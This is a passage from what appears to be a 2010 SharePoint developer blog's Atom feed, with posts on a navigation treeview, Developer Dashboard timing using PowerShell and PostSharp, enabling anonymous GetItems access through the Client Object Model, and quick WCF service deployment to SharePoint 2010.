support. The first released plugin, Cross Site Drag and Drop File / Folder Copying, is demonstrated &lt;a href="http://www.screencast.com/users/einaros/folders/Jing/media/613fde51-193b-450d-b044-97e474b79257"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Older demonstration:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object id="scPlayer" width="575" height="420"&gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/mp4h264player.swf"&gt;&lt;/param&gt; &lt;param name="quality" value="high"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;/param&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/FirstFrame.jpg&amp;containerwidth=904&amp;containerheight=656&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/2010-05-14_1833.mp4"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt; &lt;param name="scale" value="showall"&gt;&lt;/param&gt; &lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/"&gt;&lt;/param&gt;  &lt;embed src="http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/mp4h264player.swf" quality="high" bgcolor="#FFFFFF" width="575" height="420" type="application/x-shockwave-flash" allowScriptAccess="always" flashVars="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/FirstFrame.jpg&amp;containerwidth=904&amp;containerheight=656&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/2010-05-14_1833.mp4" allowFullScreen="true" base="http://content.screencast.com/users/einaros/folders/Jing/media/ba3adf80-cfff-495e-9593-ec793711289e/" scale="showall"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;div style="font-size: 8pt"&gt;Click the video above to watch it embedded (best in full screen), or &lt;a href="http://screencast.com/t/ZjNmYmJmNj" target="_blank"&gt;Watch in new window&lt;/a&gt;&lt;/div&gt;&lt;/center&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/nL0aIu4uMw0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/2228322143897753812/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=2228322143897753812" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2228322143897753812?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2228322143897753812?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/nL0aIu4uMw0/very-fast-jquery-wcf-rest-based.html" title="Very fast jQuery / WCF REST based SharePoint 2010 hierarchical nav control: Complete" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/very-fast-jquery-wcf-rest-based.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cBQnk8fCp7ImA9WxFQEk0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8505661941666672334</id><published>2010-05-06T18:10:00.009+02:00</published><updated>2010-05-07T07:10:53.774+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-07T07:10:53.774+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Using PostSharp AOP to simplify SharePoint 2010 Developer Dashboard timing</title><content type="html">This is a 10 minute screencast where I demonstrate the basic functionality of the SharePoint 2010 Developer Dashboard, combined with the PostSharp AOP framework. By using AOP (Aspect Oriented Programming), you can extract the timing code into separate aspects and apply them to the methods of your choosing, rather than cluttering all the method bodies with specific timing code.&lt;br /&gt;&lt;br /&gt;Watch the screencast:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" target="_blank" href="http://www.screencast.com/users/einaros/folders/Default/media/9ab1949a-24a5-45e0-a6ac-4d7e79487918"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 219px;" src="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S-LtDdcxWYI/AAAAAAAAEKw/B7OFbu7JqLs/s320/2010-05-06_1822.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5468193541281896834" /&gt;&lt;/a&gt;&lt;br /&gt;I do apologize for the sound quality of the recording. This was my first time around with Microsoft Expression Encoder, and it seems that the longer I record, the more jittery the sound becomes. I tried stopping and restarting the recording every now and then to deal with the issue, but it's still somewhat choppy at times.&lt;br /&gt;&lt;br /&gt;The powershell script I've built to enable / disable the developer dashboard:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;enable-devdashboard.ps1&lt;/span&gt;&lt;pre class="brush: plain;"&gt;&lt;br /&gt;param([switch]$disable)&lt;br /&gt;&lt;br /&gt;[reflection.assembly]::LoadWithPartialName("microsoft.sharepoint") &gt;$null&lt;br /&gt;&lt;br /&gt;if($disable -eq $false){&lt;br /&gt;  write-host -foreground green Enabling Developer Dashboard&lt;br /&gt;  stsadm -o setproperty -propertyname developer-dasboard -propertyvalue on &gt;$null&lt;br /&gt;  $ws = [microsoft.sharepoint.administration.spwebservice]::ContentService&lt;br /&gt;  $ws.DeveloperDashboardSettings.DisplayLevel = [microsoft.sharepoint.administration.spdeveloperdashboardlevel]::On&lt;br /&gt;  $ws.DeveloperDashboardSettings.Update()&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;  write-host -foreground yellow Disabling Developer Dashboard&lt;br /&gt;  stsadm -o setproperty -propertyname developer-dasboard -propertyvalue off &gt;$null&lt;br /&gt;  $ws = [microsoft.sharepoint.administration.spwebservice]::ContentService&lt;br /&gt;  $ws.DeveloperDashboardSettings.DisplayLevel = [microsoft.sharepoint.administration.spdeveloperdashboardlevel]::Off&lt;br /&gt;  $ws.DeveloperDashboardSettings.Update()&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;write-host Done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here's the aspect code, which I put together at the end of the screencast. In this listing I've updated it to not emit any aspect code for non-debug builds.&lt;pre class="brush: c#;"&gt;&lt;br /&gt;[Serializable]&lt;br /&gt;public class DeveloperDashboardTimedAttribute : OnMethodBoundaryAspect&lt;br /&gt;{&lt;br /&gt;#if DEBUG&lt;br /&gt;    public string Description { get; set; }&lt;br /&gt;&lt;br /&gt;    public override sealed void OnEntry(MethodExecutionArgs args)&lt;br /&gt;    {&lt;br /&gt;        string type = args.Method.DeclaringType != null ? &lt;br /&gt;            args.Method.DeclaringType.Name : "&amp;lt;no type&amp;gt;";&lt;br /&gt;        string scopeName = type + &lt;br /&gt;            "." + args.Method.Name + &lt;br /&gt;            (Description != null ? " [" + Description + "]" : "");&lt;br /&gt;        var sc = new SPMonitoredScope(scopeName);&lt;br /&gt;        args.MethodExecutionTag = sc;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public override sealed void OnExit(MethodExecutionArgs args)&lt;br /&gt;    {&lt;br /&gt;        var sc = args.MethodExecutionTag as SPMonitoredScope;&lt;br /&gt;        if (sc != null)&lt;br /&gt;        {&lt;br /&gt;            sc.Dispose();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;#endif&lt;br /&gt;}&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/O8VJXZFcjsk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8505661941666672334/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8505661941666672334" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8505661941666672334?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8505661941666672334?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/O8VJXZFcjsk/using-postsharp-aop-to-simplify.html" title="Using PostSharp AOP to simplify SharePoint 2010 Developer Dashboard timing" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S-LtDdcxWYI/AAAAAAAAEKw/B7OFbu7JqLs/s72-c/2010-05-06_1822.png" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/using-postsharp-aop-to-simplify.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D08MRH0-fCp7ImA9Wx9aEU0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8091868234693973904</id><published>2010-05-05T17:48:00.013+02:00</published><updated>2011-03-02T23:44:45.354+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-02T23:44:45.354+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Custom jQuery based quick launch treeview for SharePoint 2010</title><content type="html">&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; There's an updated post on this control, &lt;a href="http://www.codefornuts.com/2010/05/very-fast-jquery-wcf-rest-based.html"&gt;available here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Outdated post follows&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;I wrote about a control such as this some time ago, when I first started developing it for SharePoint 2007. Recently I've upgraded and rewritten large parts of it for SharePoint 2010, and it now utilizes custom REST WCF services and the updated APIs to do its job. SharePoint 2010 has a much improved default tree view, but I've wanted a few extra features - such as custom caching schemes and on-the-spot administration, which I haven't been able to do with the standard controls.&lt;br /&gt;&lt;br /&gt;Take a look at the following screencast, where I explain a bit about what it is and does.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://screencast.com/t/MGQ4NTNjNjM" target="_BLANK"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 218px;" src="http://2.bp.blogspot.com/_rBg2qaJ_4Bw/S-GUSZV9QGI/AAAAAAAAEKo/C8rrEtMXfuY/s320/2010-05-05_1752.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5467814466366029922" /&gt;&lt;/a&gt;&lt;br /&gt;One feature I don't mention in the screencast, which is currently 80% upgraded to 2010, is the ability to drag pages from document libraries, onto the menu, for quick-linking pages. I think that's pretty cool as well.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/EVgkBCM6iD4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8091868234693973904/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8091868234693973904" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8091868234693973904?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8091868234693973904?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/EVgkBCM6iD4/custom-jquery-based-quick-launch.html" title="Custom jQuery based quick launch treeview for SharePoint 2010" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_rBg2qaJ_4Bw/S-GUSZV9QGI/AAAAAAAAEKo/C8rrEtMXfuY/s72-c/2010-05-05_1752.png" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/custom-jquery-based-quick-launch.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8HQ3oyeCp7ImA9Wx9UEkg.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-5634735786664759306</id><published>2010-05-04T13:09:00.018+02:00</published><updated>2011-02-09T13:00:32.490+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-09T13:00:32.490+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><category scheme="http://www.blogger.com/atom/ns#" term="Silverlight" /><category scheme="http://www.blogger.com/atom/ns#" term="PowerShell" /><title>Anonymously accessing list items through the SharePoint Client Object Model</title><content type="html">Up until today I haven't found time to explore the obscure corners of the SharePoint 2010 Client Object Model. Keeping an eye on my Twitter client, I noticed &lt;a href="http://twitter.com/waldekm" target="_blank"&gt;Waldek Mastykarz&lt;/a&gt; mention trying to use it in an anonymous portal context - and hitting an error doing so. Problems such as these easily catch my interest (that's my favorite way of learning new stuff), so I set out to try the same myself.&lt;br /&gt;&lt;br /&gt;I whipped up an empty SP2010 team site, created a dummy list and added an item to that. I then went on to create a simple SilverLight package, such as:&lt;br /&gt;&lt;pre class="brush: c#"&gt;&lt;br /&gt;    public partial class MainPage : UserControl&lt;br /&gt;    {&lt;br /&gt;        private ListItemCollection _items;&lt;br /&gt;&lt;br /&gt;        public MainPage()&lt;br /&gt;        {&lt;br /&gt;            InitializeComponent();&lt;br /&gt;            var context = new ClientContext("http://sp10dev");&lt;br /&gt;            _items = context.Web.Lists.GetByTitle("TestList").GetItems(new CamlQuery { ViewXml = "&lt;View&gt;&lt;RowLimit&gt;100&lt;/RowLimit&gt;&lt;/View&gt;" });&lt;br /&gt;            context.Load(_items, items =&gt; items.Include(item =&gt; item["Title"]));&lt;br /&gt;            context.ExecuteQueryAsync(&lt;br /&gt;                (sender, args) =&gt; Dispatcher.BeginInvoke(ShowStuff),&lt;br /&gt;                (sender, args) =&gt; Dispatcher.BeginInvoke(() =&gt; MessageBox.Show("Request failed. " + args.Message + "\n" + args.StackTrace)));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void ShowStuff()&lt;br /&gt;        {&lt;br /&gt;            foreach (var item in _items)&lt;br /&gt;            {&lt;br /&gt;                Output.Text += item["Title"] + "\n";&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;After adding this to the portal as a "Silverlight Web Part", using the default template, and enabling anonymous access to the portal, I got the following error:&lt;br /&gt;&lt;i&gt;Request failed. The method "GetItems" of the type "List" with id "{...}" is blocked by the administrator on the server.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S-AC8HGqItI/AAAAAAAAEKQ/UBQpP4DwDSE/s1600/2010-05-04_1319.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 242px;" src="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S-AC8HGqItI/AAAAAAAAEKQ/UBQpP4DwDSE/s320/2010-05-04_1319.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5467373179350164178" /&gt;&lt;/a&gt;&lt;br /&gt;This was quite unexpected, as I was able to retrieve information about the Web object, as well as enumerate lists (even a few hidden ones) in the portal.&lt;br /&gt;&lt;br /&gt;Digging a bit further, I combined an exception I noticed in Fiddler (Microsoft.SharePoint.Client.ApiBlockedException), with the class information found in the client.svc endpoint. In Reflector, this brought me through the SharePoint 2010 client service code, to a class called &lt;span style="font-style:italic;"&gt;SPClientServiceHost&lt;/span&gt;, which has a method named &lt;span style="font-style:italic;"&gt;IsMethodBlocked&lt;/span&gt;. Following this trail even further, it turns out that there's a &lt;span style="font-style:italic;"&gt;SPClientCallableSettings&lt;/span&gt; class, exposed as &lt;span style="font-style:italic;"&gt;ClientCallableSettings&lt;/span&gt; on the SPWebApplication object - and that's the key. Turning to PowerShell for a second, I enumerated what turns out to be the default settings for the AnonymousRestrictedTypes property:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S-AErCUWeiI/AAAAAAAAEKY/s_o1p-KLB4E/s1600/2010-05-04_1327.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 147px;" src="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S-AErCUWeiI/AAAAAAAAEKY/s_o1p-KLB4E/s320/2010-05-04_1327.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5467375085030898210" /&gt;&lt;/a&gt;&lt;br /&gt;So apparently anonymous users, using the Client Object Model, are blocked from using&lt;br /&gt;&lt;ul&gt;&lt;li&gt;GetItems and GetChanges on SPLists&lt;br /&gt;&lt;li&gt;GetChanges and GetSubwebsForCurrentUser on SPWebs&lt;br /&gt;&lt;li&gt;GetChanges on SPSites&lt;/ul&gt;&lt;br /&gt;The good news, however, is that the ClientCallableSettings value can be adjusted to allow anonymous user access to one or more of these methods.&lt;br /&gt;&lt;br /&gt;Doing this with PowerShell:&lt;br /&gt;&lt;pre class="brush: plain"&gt;&lt;br /&gt;$webapp = Get-SPWebApplication "http://sp10dev"&lt;br /&gt;$webapp.ClientCallableSettings.AnonymousRestrictedTypes.Remove([microsoft.sharepoint.splist], "GetItems")&lt;br /&gt;$webapp.Update()&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Be sure to replace "http://sp10dev" with whatever url your target webapp has. After doing this, anonymous calls to GetItems will work for that web application. The changes are persisted in the SharePoint database, and last until you change the setting again, or recreate the web application.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update&lt;/span&gt;: I can't say for certain why GetItems() has been blocked by default, but this much I can say:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Per-item security is still upheld, with GetItems enabled. If anon doesn't have access to a list item, it won't be returned.&lt;br /&gt;&lt;li&gt;Even with GetItems &lt;span style="font-style:italic;"&gt;disabled&lt;/span&gt;, the client side object model can be used by anonymous users to *add* items, granted that the list permits anon additions.&lt;br /&gt;&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/mrXM7UM5cQM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/5634735786664759306/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=5634735786664759306" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5634735786664759306?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5634735786664759306?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/mrXM7UM5cQM/anonymously-accessing-list-items.html" title="Anonymously accessing list items through the SharePoint Client Object Model" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S-AC8HGqItI/AAAAAAAAEKQ/UBQpP4DwDSE/s72-c/2010-05-04_1319.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/anonymously-accessing-list-items.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cBRXw5eSp7ImA9WxFRFE4.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8171655960558612036</id><published>2010-04-27T21:07:00.010+02:00</published><updated>2010-04-28T09:17:34.221+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-28T09:17:34.221+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="Ajax" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Building a WCF REST + jQuery webpart based realtime request graph for SP2010, in less than 5 minutes</title><content type="html">In the following screencast I demonstrate how quickly one can write, build and deploy a WCF REST web service, visual webpart and jQuery code to an all clean SharePoint 2010 portal. The solution I'm building (which could obviously be made cooler, if you had - say - 10 minutes) is a realtime incoming request monitor. It will render bars based on how many incoming requests the SharePoint portal has at a given moment.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Watch the (somewhat stressed) screencast:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.screencast.com/users/einaros/folders/Jing/media/89d7429b-1e4d-44bd-92ca-d6e7226618c8"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://4.bp.blogspot.com/_rBg2qaJ_4Bw/S9c3FxIvy8I/AAAAAAAAEKA/vxl9g9zcV7M/s320/2010-04-27_2111.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464897245066283970" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dl.dropbox.com/u/1878671/RestDemo.zip"&gt;And here's the source code&lt;/a&gt;, with quite a few visualization improvements I didn't think of in the build demo above.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S9fgkHxTtSI/AAAAAAAAEKI/gHUZ8mOtV7A/s1600/2010-04-28_0914.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 153px;" src="http://1.bp.blogspot.com/_rBg2qaJ_4Bw/S9fgkHxTtSI/AAAAAAAAEKI/gHUZ8mOtV7A/s320/2010-04-28_0914.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5465083584003159330" /&gt;&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/jHC5B0vzo0o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8171655960558612036/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8171655960558612036" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8171655960558612036?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8171655960558612036?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/jHC5B0vzo0o/building-wcf-rest-jquery-webpart-based.html" title="Building a WCF REST + jQuery webpart based realtime request graph for SP2010, in less than 5 minutes" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_rBg2qaJ_4Bw/S9c3FxIvy8I/AAAAAAAAEKA/vxl9g9zcV7M/s72-c/2010-04-27_2111.png" height="72" width="72" /><thr:total>6</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/04/building-wcf-rest-jquery-webpart-based.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcDRXg8cCp7ImA9WxFRGUo.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-6234511557923044812</id><published>2010-04-27T15:36:00.010+02:00</published><updated>2010-05-04T13:54:34.678+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-04T13:54:34.678+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Building and deploying a WCF service to SharePoint 2010, and writing a console client, all in 3min 28sec</title><content type="html">Here's a 3m 28s screencast (which could have been a lot quicker, if I didn't fumble about so much), where I build and deploy a WCF service to a blank SharePoint 2010 site, and then create a console client to make a request from the service.&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://screencast.com/t/NmYyNGUxNW"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 216px;" src="http://4.bp.blogspot.com/_rBg2qaJ_4Bw/S9bxsxK0iCI/AAAAAAAAEJ4/4hKRXhYZbC4/s320/2010-04-27_1613.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464820949275936802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A couple of quick tricks make it swifter than a blink of an eye - seriously.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;1: Avoid manually typing the full assembly (and PublicKeyToken) reference in your .svc files&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;To do this, make a one-time update to your build box' SharePoint MSBuild targets. Go to your "Program files (x86)\MSBuild\Microsoft\VisualStudio\v10.0\SharePointTools" folder, and open the .targets-file found there. Locate the "TokenReplacementFileExtensions" node, and add "svc" to the processed extensions.&lt;br /&gt;&lt;br /&gt;This will essentially make .svc files eligible for replacements such as described in &lt;a href="http://msdn.microsoft.com/en-us/library/ee231545.aspx"&gt;http://msdn.microsoft.com/en-us/library/ee231545.aspx&lt;/a&gt;. Which means that your .svc files can now include:&lt;br /&gt;&lt;pre class="brush: xml;"&gt;&lt;br /&gt;&amp;lt;%@ ServiceHost &lt;br /&gt;    Factory="..."&lt;br /&gt;    Language="C#" &lt;br /&gt;    Service="Namespace.ServiceClass, $SharePoint.Project.AssemblyFullName$" &lt;br /&gt;%&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The full assembly reference will then be filled in upon build.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;2: Use a Factory, rather than an explicit web.config file alongside your .svc&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is an excerpt from a ReSharper live template I setup in my own dev environment, which is merged with the ServiceHost block above:&lt;br /&gt;&lt;pre class="brush: xml;"&gt;&lt;br /&gt;Factory="Microsoft.SharePoint.Client.Services.$FACTORY$,&lt;br /&gt;        Microsoft.SharePoint.Client.ServerRuntime, Version=14.0.0.0,        &lt;br /&gt;        Culture=neutral, PublicKeyToken=71e9bce111e9429c"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Where $FACTORY$ is either:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;MultipleBaseAddressBasicHttpBindingServiceHostFactory&lt;/span&gt; for a SOAP service.&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;MultipleBaseAddressWebServiceHostFactory&lt;/span&gt; for a REST service.&lt;br 